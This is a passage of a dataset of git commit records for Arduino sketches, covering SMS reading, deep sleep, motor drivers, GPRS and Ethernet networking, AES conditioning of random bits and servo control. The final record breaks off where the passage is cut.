SlaveModule.ino","message":"Update SlaveModule.ino","repos":"PeterL328\/SnakeRobot,Robot-Club\/SnakeRobot,ExiaSR\/SnakeRobot,Robot-Club\/SnakeRobot,PeterL328\/SnakeRobot","old_file":"Arduino code\/SlaveModule\/SlaveModule.ino","new_file":"Arduino code\/SlaveModule\/SlaveModule.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/SlaveModule\/SlaveModule.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3e1468a109708ae35c90ab27470c6919273eb3d6","subject":"Cerveau: Ecran - update pins","message":"Cerveau: Ecran - update pins\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Cerveau\/Ecran\/BotMenu\/BotMenu\/BotMenu.ino","new_file":"Module Cerveau\/Ecran\/BotMenu\/BotMenu\/BotMenu.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Cerveau\/Ecran\/BotMenu\/BotMenu\/BotMenu.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7f3922f8258dca74548c80d013717c5971685fe7","subject":"Modifying poll time","message":"Modifying poll time\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/pwm_detector_test\/pwm_detector_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"77ce34cb14e3a0b31b76f7c833ef2d2a2f862ceb","subject":"version 0.1","message":"version 0.1\n\nExample how to use isSMSunread and readSMS (with more information)","repos":"Seeed-Studio\/GPRS_Shield_Suli,Seeed-Studio\/GPRS_Shield_Suli,venusdharan\/GPRS_Shield_Suli,venusdharan\/GPRS_Shield_Suli","old_file":"examples\/GPRS_SMSread.ino","new_file":"examples\/GPRS_SMSread.ino","new_contents":"\/*\nGPRS SMS Read\n\nThis sketch is used to test seeeduino GPRS_Shield's reading SMS \nfunction.To make it work, you should insert SIM card\nto Seeeduino GPRS Shield,enjoy it!\n\nThere are two methods to read SMS:\n 1. GPRS_LoopHandle.ino -> in order to recieve \"+CMTI: \"SM\"\" \n may be you need to send this command to your shield: \"AT+CNMI=2,2,0,0,0\"\n 2. GPRS_SMSread.ino -> you have to check if there are any \n UNREAD sms, and you don't need to check serial data continuosly\n\ncreate on 2014\/10\/16, version: 0.1\nby op2op2op2(op2op2op2@hotmail.com)\n*\/\n\n#include <GPRS_Shield_Arduino.h>\n#include <SoftwareSerial.h>\n#include <Wire.h>\n#include <Suli.h>\n\n#define PIN_TX 7\n#define PIN_RX 8\n#define BAUDRATE 9600\n\n#define MESSAGE_LENGTH 160\nchar message[MESSAGE_LENGTH];\nint messageIndex = 0;\n\nchar phone[16];\nchar datetime[24];\n\nGPRS gprsTest(PIN_TX,PIN_RX,BAUDRATE);\/\/RX,TX,PWR,BaudRate\n\nvoid setup() {\n Serial.begin(9600);\n while(0 != gprsTest.init()) {\n delay(1000);\n Serial.print(\"init error\\r\\n\");\n }\n delay(3000); \n Serial.println(\"Init Success, please send SMS message to me!\");\n}\n\nvoid loop() {\n messageIndex = gprsTest.isSMSunread();\n if (messageIndex > 0) { \/\/At least, there is one UNREAD SMS\n gprsTest.readSMS(messageIndex, message, MESSAGE_LENGTH, phone, datetime); \n \/\/In order not to full SIM Memory, is better to delete it\n gprsTest.deleteSMS(messageIndex);\n Serial.print(\"From number: \");\n Serial.println(phone); \n Serial.print(\"Datetime: \");\n Serial.println(datetime); \n Serial.print(\"Recv Message: \");\n Serial.println(message); \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/GPRS_SMSread.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5ebdcd319827b955f5a98be448e1a10b25a4c663","subject":"Initial commit with deep sleep and watchdog timer","message":"Initial commit with deep sleep and watchdog timer\n","repos":"platisd\/scrumtato","old_file":"firmware\/HotPotato\/HotPotato.ino","new_file":"firmware\/HotPotato\/HotPotato.ino","new_contents":"#include <avr\/sleep.h>\n#include <avr\/power.h>\n#include <avr\/wdt.h>\n\nconst unsigned int BUZZER_PIN = PB0;\nconst unsigned int MOTOR_PIN = PB1;\nconst unsigned int BUTTON_PIN = PB2;\nconst unsigned int ACCELEROMETER_IN = PB3;\nconst unsigned int ACCELEROMETER_POWER = PB4;\nconst unsigned long DEBOUNCE_TIME = 50;\n\nvolatile bool watchDogBarked = false;\nbool watchDogEnabled = false;\n\nvolatile bool buttonPressed = false;\n\nenum WatchDogTimeout {\n WDT_16ms,\n WDT_32ms,\n WDT_64ms,\n WDT_128ms,\n WDT_250ms,\n WDT_500ms,\n WDT_1sec,\n WDT_2sec,\n WDT_4sec,\n WDT_8sec\n};\n\nenum PowerState {\n SLEEP,\n GAME\n};\n\nPowerState currentState = SLEEP; \/\/ Start with sleep as the initial state\n\nvoid setupWatchDogTimeoutOneshot(WatchDogTimeout wdt) {\n \/\/ Adopted from InsideGadgets (www.insidegadgets.com)\n byte timeoutVal = wdt & 7;\n if (wdt > 7) {\n timeoutVal |= (1 << 5);\n }\n timeoutVal |= (1 << WDCE);\n\n MCUSR &= ~(1 << WDRF);\n WDTCR |= (1 << WDCE) | (1 << WDE); \/\/ Start timed sequence\n WDTCR = timeoutVal;\n WDTCR |= _BV(WDIE);\n wdt_reset(); \/\/ pat the dog\n}\n\n\/**\n Disables the accelerometer by setting the pin that powers it up to LOW\n*\/\nvoid turnAccelerometerOff() {\n digitalWrite(ACCELEROMETER_POWER, LOW);\n}\n\n\/**\n Enables the accelerometer by setting the pin that powers it up to HIGH\n*\/\nvoid turnAccelerometerOn() {\n digitalWrite(ACCELEROMETER_POWER, HIGH);\n}\n\n\/**\n Watchdog interrupt routine to be triggered when watchdog times out\n*\/\nISR(WDT_vect) {\n watchDogBarked = true;\n wdt_disable(); \/\/ disable watchdog\n}\n\n\/**\n Change interrupt routine (e.g. when button presses occur)\n*\/\nISR (PCINT0_vect) {\n \/\/ TO-DO: Investigate ways to debounce the button\n if (digitalRead(BUTTON_PIN) == HIGH) {\n buttonPressed = true;\n }\n}\n\n\/**\n Sets up pin change interrupt for PB2\n*\/\nvoid setupChangeInterrupt() {\n PCMSK |= bit (PCINT2); \/\/ want pin D2 (PB2)\n GIFR |= bit (PCIF); \/\/ clear any outstanding interrupts\n GIMSK |= bit (PCIE); \/\/ enable pin change interrupts\n}\n\n\/**\n Sets the MCU into a deep sleep state until a change interrupt is triggered\n*\/\nvoid goToDeepSleep() {\n set_sleep_mode(SLEEP_MODE_PWR_DOWN);\n ADCSRA = 0; \/\/ turn off ADC\n power_all_disable (); \/\/ power off ADC, Timer 0 and 1, serial interface\n sleep_enable();\n sleep_cpu(); \/\/ Sleep here and wait for the interrupt\n sleep_disable();\n power_all_enable(); \/\/ power everything back on\n}\n\nvoid setup() {\n pinMode(BUZZER_PIN, OUTPUT);\n pinMode(MOTOR_PIN, OUTPUT);\n pinMode(BUTTON_PIN, INPUT);\n pinMode(ACCELEROMETER_IN, INPUT);\n pinMode(ACCELEROMETER_POWER, OUTPUT);\n setupChangeInterrupt();\n}\n\nvoid loop() {\n switch (currentState) {\n case SLEEP:\n turnAccelerometerOff();\n \/\/ Go to deep sleep until an interrupt occurs\n goToDeepSleep();\n \/\/ Proceed to the\n if (buttonPressed) {\n currentState = GAME;\n buttonPressed = false;\n }\n break;\n case GAME:\n \/\/ If watchdog is not enabled, then we just arrived from SLEEP state\n if (!watchDogEnabled) {\n turnAccelerometerOn();\n \/\/ Set up watchdog to be triggered (once) after the specified time\n setupWatchDogTimeoutOneshot(WDT_1sec);\n watchDogEnabled = true;\n digitalWrite(BUZZER_PIN, HIGH);\n }\n \/\/ Go to deep sleep until an interrupt occurs\n goToDeepSleep();\n \/\/ We might have gone out of sleep due to another interrupt (i.e. the switch)\n \/\/ So make sure that we only get out of this state using the watchdog\n if (watchDogBarked) {\n digitalWrite(BUZZER_PIN, LOW);\n currentState = SLEEP;\n watchDogBarked = false;\n watchDogEnabled = false;\n }\n break;\n default:\n break;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/HotPotato\/HotPotato.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"200d1205cbb44da30d4db8bbd308f804be8efa50","subject":"Create motor_driver.ino","message":"Create motor_driver.ino","repos":"AlcoCoder\/MDriver","old_file":"examples\/motor_driver\/motor_driver.ino","new_file":"examples\/motor_driver\/motor_driver.ino","new_contents":"#include \"MDriver.h\"\n\n\/* \n * \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 MDrive \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043a\u043e\u043b\u043b\u0435\u043a\u0442\u043e\u0440\u043d\u044b\u043c\u0438 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044f\u043c\u0438\n * \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u0435 \u043d\u0430 \u043c\u0438\u043a\u0440\u043e\u0441\u0445\u0435\u043c\u0435 L293 \u0438\u043b\u0438 L298.\n * \n * \u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u0432\u044b\u0445\u043e\u0434\u044b \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c\n * \u0446\u0438\u0444\u0440\u043e\u0432\u044b\u043c \u043f\u0438\u043d\u0430\u043c Arduino: \n * 1) \u0434\u043b\u044f \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044f:*\/\n#define ENA 3 \/\/(\u0428\u0418\u041c)\n#define IN1 2\n#define IN2 4\n \/\/2) \u0434\u043b\u044f \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044f:\n#define ENB 5 \/\/(\u0428\u0418\u041c)\n#define IN3 6\n#define IN4 7\n\n\/* \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438:\n * speed(uint8_t speed); - \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043e\u0442 0 \u0434\u043e 255, \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \n * \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c\u044e \u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f. \u0415\u0441\u043b\u0438 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044c \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d \u0431\u0435\u0437 \u0440\u0435\u0433\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438\n * \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0442\u043e \u044d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043d\u0435\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439.\n * forward(); \u0438 backward(); - \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442 \u0432\u0440\u0430\u0449\u0435\u043d\u0438\u0435\u043c \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044f \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \n * \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u0445\n * stop(); - \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044f\n *\/\n \n\/\/\u041f\u0435\u0440\u0432\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438.\n\/\/\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 \u0440\u0435\u0433\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438.\n\/\/\u041a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b MDrive(EN, IN1, IN2) \nMDriver m1(ENA, IN1, IN2);\nMDriver m2(ENB, IN3, IN4);\n\n\/\/\u0412\u0442\u043e\u0440\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438.\n\/\/\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043c\u043e\u0442\u043e\u0440\u043e\u0432 \u0431\u0435\u0437 \u0440\u0435\u0433\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \n\/\/\u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u0435\u0442\u0441\u044f \u0447\u0442\u043e \u043f\u0438\u043d EN \u043d\u0430 \u043f\u043b\u0430\u0442\u0435 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0434\u0442\u044f\u043d\u0443\u0442 \u043a +5V.\n\/\/\u041a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b MDrive(IN1, IN2) \n\/\/MDriver m1(IN1, IN2);\n\/\/MDriver m2(IN3, IN4);\n\n\/\/\u0421 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0440\u0435\u0433\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438\nvoid setup()\n{\n for (int i = 255; i > 0; i -= 5) \/\/\u041f\u043b\u0430\u0432\u043d\u043e\u0435 \u0443\u043c\u0435\u043d\u044c\u0448\u0435\u043d\u0438\u0435 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438 \u0434\u043e \u043f\u043e\u043b\u043d\u043e\u0439 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438\n {\n m1.speed(i);\n m1.backward();\n\n m2.speed(i);\n m2.backward();\n delay(500);\n }\n \n for (int i = 0; i < 255; i += 5) \/\/\u041f\u043b\u0430\u0432\u043d\u043e\u0435 \u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u0435 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438 \u0434\u043e \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439, \u0432\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0432 \u0434\u0440\u0443\u0433\u0443\u044e \u0441\u0442\u043e\u0440\u043e\u043d\u0443\n {\n m1.speed(i);\n m1.forward();\n\n m2.speed(i);\n m2.forward();\n delay(500);\n }\n\n \/\/\u0412\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u0432 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u043f\u043e\u043b\u043e\u0436\u043d\u044b\u0445 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u0445\n m1.speed(MAX);\n m2.speed(MAX);\n m1.forward();\n m2.backward();\n}\n\nvoid loop(){}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/motor_driver\/motor_driver.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cc39269516335142e6afbb43f38db551ef677384","subject":"adds fona digital out example","message":"adds fona digital out example\n","repos":"adafruit\/adafruit-io-basics,adafruit\/adafruit-io-basics","old_file":"arduino-fona\/digital-out\/digital-out.ino","new_file":"arduino-fona\/digital-out\/digital-out.ino","new_contents":"#include <SoftwareSerial.h>\n#include <Adafruit_FONA.h>\n\n#define FONA_RX 2\n#define FONA_TX 3\n#define FONA_RST 4\n#define LIGHT 8\n\n\/\/ replace xxxxxxxxx with your Adafruit IO key\n#define AIO_KEY \"xxxxxxxxx\"\n#define AIO_URL \"http:\/\/io.adafruit.com\/api\/feeds\/%s\/data\/last.txt?X-AIO-Key=%s\"\n\nSoftwareSerial fonaSS = SoftwareSerial(FONA_TX, FONA_RX);\nAdafruit_FONA fona = Adafruit_FONA(FONA_RST);\n\nvoid setup() {\n\n \/\/ set button pin as an input\n pinMode(BUTTON, INPUT_PULLUP);\n\n \/\/ wait until Serial is available\n while (!Serial);\n\n \/\/ Serial init\n Serial.begin(115200);\n Serial.println(F(\"Initializing....(May take a few seconds)\"));\n\n \/\/ SoftwareSerial init\n fonaSS.begin(4800);\n\n \/\/ bail if we can't connect to the FONA\n if (! fona.begin(fonaSS)) {\n Serial.println(F(\"Couldn't find FONA\"));\n while(1);\n }\n\n \/\/ turn on GPRS\n fona.enableGPRS(true);\n\n}\n\nvoid loop() {\n\n char* data = getData(\"Light\");\n int state = atoi(data);\n\n digitalWrite(LIGHT, state == 1 ? HIGH : LOW);\n\n \/\/ wait 1 second\n delay(1000);\n\n}\n\nchar* getData(char *feed) {\n\n uint16_t statuscode;\n int16_t length;\n int16_t i = 0;\n\n char url[200];\n sprintf(url, AIO_URL, feed, AIO_KEY);\n\n if(! fona.HTTP_GET_start(url, &statuscode, (uint16_t *)&length))\n return \"\";\n\n char data[length];\n\n while(length > 0) {\n\n if(fona.available()) {\n\n data[i] = fona.read();\n length--;\n i++;\n\n }\n\n }\n\n fona.HTTP_GET_end();\n\n return data;\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-fona\/digital-out\/digital-out.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4405d0d40d7c6d9241a43fcd38b1acfa64acc728","subject":"serial library","message":"serial library\n","repos":"bubblestack\/hydroop","old_file":"serial2ethernet.ino","new_file":"serial2ethernet.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n\n\/\/ Enter a MAC address and IP address for your controller below.\nbyte mac[] = { \n 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\n\n\/\/ Our IP address\nIPAddress ip(2,2,2,103);\n\n\/\/ Initialize the Ethernet server library\n\/\/ with the IP address and port you want to use\n\/\/ (port 80 is default for HTTP):\nEthernetServer server(80);\n\nvoid setup() \n {\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n while (!Serial) { } \/\/ wait for serial port to connect.\n\n \/\/ start the Ethernet connection and the server:\n Ethernet.begin(mac, ip);\n server.begin();\n Serial.print(F(\"Server is at \"));\n Serial.println(Ethernet.localIP());\n } \/\/ end of setup\n\n\/\/ how much serial data we expect before a newline\nconst unsigned int MAX_INPUT = 100;\n\/\/ the maximum length of paramters we accept\nconst int MAX_PARAM = 10;\n\n\/\/ Example GET line: GET \/?foo=bar HTTP\/1.1\nvoid processGet (const char * data)\n {\n \/\/ find where the parameters start\n const char * paramsPos = strchr (data, '?');\n if (paramsPos == NULL)\n return; \/\/ no parameters\n \/\/ find the trailing space\n const char * spacePos = strchr (paramsPos, ' ');\n if (spacePos == NULL)\n return; \/\/ no space found\n \/\/ work out how long the parameters are\n int paramLength = spacePos - paramsPos - 1;\n \/\/ see if too long\n if (paramLength >= MAX_PARAM)\n return; \/\/ too long for us\n \/\/ copy parameters into a buffer\n char param [MAX_PARAM];\n memcpy (param, paramsPos + 1, paramLength); \/\/ skip the \"?\"\n param [paramLength] = 0; \/\/ null terminator\n\n \/\/ do things depending on argument (GET parameters)\n\n if (strcmp (param, \"foo\") == 0){\n tempx();\n Serial.println (F(\"Activating foo\"));\n\/\/\n }\n\n else if (strcmp (param, \"bar\") == 0){\n Serial.println (F(\"Activating bar\"));\n }\n } \/\/ end of processGet\n\n\/\/ here to process incoming serial data after a terminator received\nvoid processData (const char * data)\n {\n Serial.println (data);\n if (strlen (data) < 4)\n return;\n\n if (memcmp (data, \"GET \", 4) == 0)\n processGet (&data [4]);\n } \/\/ end of processData\n\nbool processIncomingByte (const byte inByte)\n {\n static char input_line [MAX_INPUT];\n static unsigned int input_pos = 0;\n switch (inByte)\n {\n case '\\n': \/\/ end of text\n input_line [input_pos] = 0; \/\/ terminating null byte\n if (input_pos == 0)\n return true; \/\/ got blank line\n \/\/ terminator reached! process input_line here ...\n processData (input_line);\n \/\/ reset buffer for next time\n input_pos = 0; \n break;\n\n case '\\r': \/\/ discard carriage return\n break;\n\n default:\n \/\/ keep adding if not full ... allow for terminating null byte\n if (input_pos < (MAX_INPUT - 1))\n input_line [input_pos++] = inByte;\n break;\n } \/\/ end of switch\n return false; \/\/ don't have a blank line yet\n } \/\/ end of processIncomingByte \n\n\nvoid loop() \n {\n \/\/ listen for incoming clients\n EthernetClient client = server.available();\n if (client) \n {\n Serial.println(F(\"Client connected\"));\n \/\/ an http request ends with a blank line\n boolean done = false;\n while (client.connected() && !done) \n {\n while (client.available () > 0 && !done)\n done = processIncomingByte (client.read ());\n } \/\/ end of while client connected\n\n \/\/ send a standard http response header\n client.println(F(\"HTTP\/1.1 200 OK\"));\n client.println(F(\"Content-Type: text\/html\"));\n client.println(F(\"Connection: close\")); \/\/ close after completion of the response\n client.println(); \/\/ end of HTTP header\n client.println(F(\"<!DOCTYPE HTML>\"));\n client.println(F(\"<html>\"));\n client.println(F(\"<head>\"));\n client.println(F(\"<title>Test page<\/title>\"));\n client.println(F(\"<\/head>\"));\n client.println(F(\"<body>\"));\n client.println(F(\"<h1>My web page<\/h1>\"));\n client.println(F(\"<p>Requested actions performed\"));\n client.println(F(\"<\/body>\"));\n client.println(F(\"<\/html>\"));\n\n \/\/ give the web browser time to receive the data\n delay(10);\n \/\/ close the connection:\n client.stop();\n Serial.println(F(\"Client disconnected\"));\n } \/\/ end of got a new client\n} \n\n\n\nvoid tempx(){\n EthernetClient client = server.available();\n client.println(F(\"HTTP\/1.1 200 OK\"));\n client.println(F(\"Content-Type: text\/html\"));\n client.println(F(\"Connection: close\")); \/\/ close after completion of the response\n client.println(); \/\/ end of HTTP header\n client.println(F(\"<!DOCTYPE HTML>\"));\n client.println(F(\"<html>\"));\n client.println(F(\"<head>\"));\n client.println(F(\"<title>Test page<\/title>\"));\n client.println(F(\"<\/head>\"));\n client.println(F(\"<body>\"));\n client.println(F(\"<h1>TEMPERATURE IS: <\/h1>\"));\n client.println(F(\"<\/body>\"));\n client.println(F(\"<\/html>\"));\n\n \/\/ give the web browser time to receive the data\n delay(10);\n \/\/ close the connection:\n client.stop();\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'serial2ethernet.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c2886ae069a13e11fda7b7ef8809352fe8c4d4c1","subject":"Add v3.0 conditioning code that does not use interrupts","message":"Add v3.0 conditioning code that does not use interrupts\n","repos":"robseward\/Ziffer","old_file":"Arduino\/v0.3.0_conditioning\/v0.3.0_conditioning.ino","new_file":"Arduino\/v0.3.0_conditioning\/v0.3.0_conditioning.ino","new_contents":"#include \"AES.h\"\n#include \"CBC.h\"\n\n#define CHAIN_SIZE 2\n#define BLOCK_SIZE 16 \/\/ this is defined in AES library. We should probably set it dynamically.\n#define SAMPLE_SIZE (BLOCK_SIZE * CHAIN_SIZE)\n\nbyte key[16] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,\n 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F};\n\nCBC<AES128> cbc;\n\nbyte sourcePool[SAMPLE_SIZE];\nbyte moduloReplacement;\n\nbool flip = false;\n\nint currentByte = 0;\nint bitCounter=0;\n \n\/******* SETUP *********\/\n \nvoid setup()\n{\n \/\/ Defining PB1 and PB2 as outputs by setting PORTB1 and PORTB2\n \/\/ Setting DDB1 and DDB2\n DDRB |= bit (DDB1) | bit (DDB2);\n\n \/\/Set D pins to input\n DDRD = 0x00;\n\n Serial.begin(2000000);\n \n calculateModuloReplacement();\n} \n\n\n\/\/This method is so we don't have to use modulo in collectBytes().\n\/\/(Modulo is very slow on Arduino.)\nvoid calculateModuloReplacement(){\n double logValue = log(SAMPLE_SIZE) \/ log(2);\n double roundedLogValue = round(logValue);\n \n \/\/Assert that sample size is a power of 2\n \/\/Otherwise our fast modulo technique will not work\n if (fabs(logValue - roundedLogValue) > 0.001) {\n abort();\n }\n \n int variableSizeInBits = sizeof(moduloReplacement) * 8;\n moduloReplacement = 0xFF >> (variableSizeInBits - (byte)roundedLogValue);\n}\n\n\nvoid loop() {\n currentByte = 0;\n for (bitCounter=0; bitCounter < 8; bitCounter += 2) {\n runClockSignals();\n runClockSignals();\n byte pinVal = (PIND >> 6) & B00000011;\n currentByte |= pinVal << bitCounter;\n }\n boolean poolFull = collectByte(currentByte);\n if (poolFull){\n conditionPoolAndWriteToSerial();\n \/\/Serial.write(sourcePool, SAMPLE_SIZE);\n }\n}\n\nvoid runClockSignals(){\n if (flip) {\n PORTB = 0b00000010;\n }\n else {\n PORTB = 0b00000100;\n }\n flip = !flip;\n}\n\n\n\/\/@return true if sourcePool is full\nboolean collectByte(byte currentByte){\n static int byteCount = 0;\n sourcePool[byteCount] = currentByte;\n byteCount = (++byteCount) & moduloReplacement;\n \/\/Serial.println(byteCount);\n\n if (byteCount == 0){\n return true;\n }\n return false;\n}\n \n \/\/TODO: this should return encrypted pool, and mac should\n \/\/be sent in the calling function\nvoid conditionPoolAndWriteToSerial(){\n \/\/Serial.println(\"Conditioning\");\n static byte iv[BLOCK_SIZE] = {0};\n byte output[SAMPLE_SIZE];\n cbc.clear();\n cbc.setKey(key, 16);\n cbc.setIV(iv, 16);\n cbc.encrypt(output, sourcePool, SAMPLE_SIZE);\n \n \/\/advance pointer to last block (the MAC)\n byte *outBuf = &output[SAMPLE_SIZE - BLOCK_SIZE]; \n Serial.write(outBuf, BLOCK_SIZE);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/v0.3.0_conditioning\/v0.3.0_conditioning.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"43704782b95ff589e50558fd1512f619c97feac9","subject":"Esp8266 started","message":"Esp8266 started\n","repos":"snakeye\/matrix-clock,snakeye\/matrix-clock,snakeye\/matrix-clock","old_file":"src\/Esp8266\/esp8266\/esp8266.ino","new_file":"src\/Esp8266\/esp8266\/esp8266.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/Esp8266\/esp8266\/esp8266.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8c4b1f981c6ffd03a18eff456a917c2f9c7a4e61","subject":"Particle photon","message":"Particle photon","repos":"ephemeralities\/photon-robot-artist,ephemeralities\/photon-robot-artist","old_file":"photon.ino","new_file":"photon.ino","new_contents":"Servo a;\nServo b;\nServo c;\nServo d;\n\nint angle;\nint angle2;\nint angle3;\nint angle4;\n\nvoid setup() {\n angle = 90;\n angle2 = 92;\n angle3 = 180;\n angle4 = 0;\n a.attach(D0);\n b.attach(D1);\n c.attach(D2);\n d.attach(D3);\n \n Particle.variable(\"angle\", angle);\n Particle.variable(\"angle2\", angle2);\n Particle.variable(\"angle3\", angle3);\n Particle.function(\"set\", set);\n}\n\nvoid loop() {\n a.write((180 - angle) - 10);\n b.write(180 - angle2);\n c.write(180 - angle3);\n d.write(angle4);\n}\n\nint set(String i){\n received = i;\n angle = i.substring(0,3).toInt();\n angle2 = i.substring(3,6).toInt();\n angle3 = i.substring(6,9).toInt();\n angle4 = i.substring(9,12).toInt();\n return 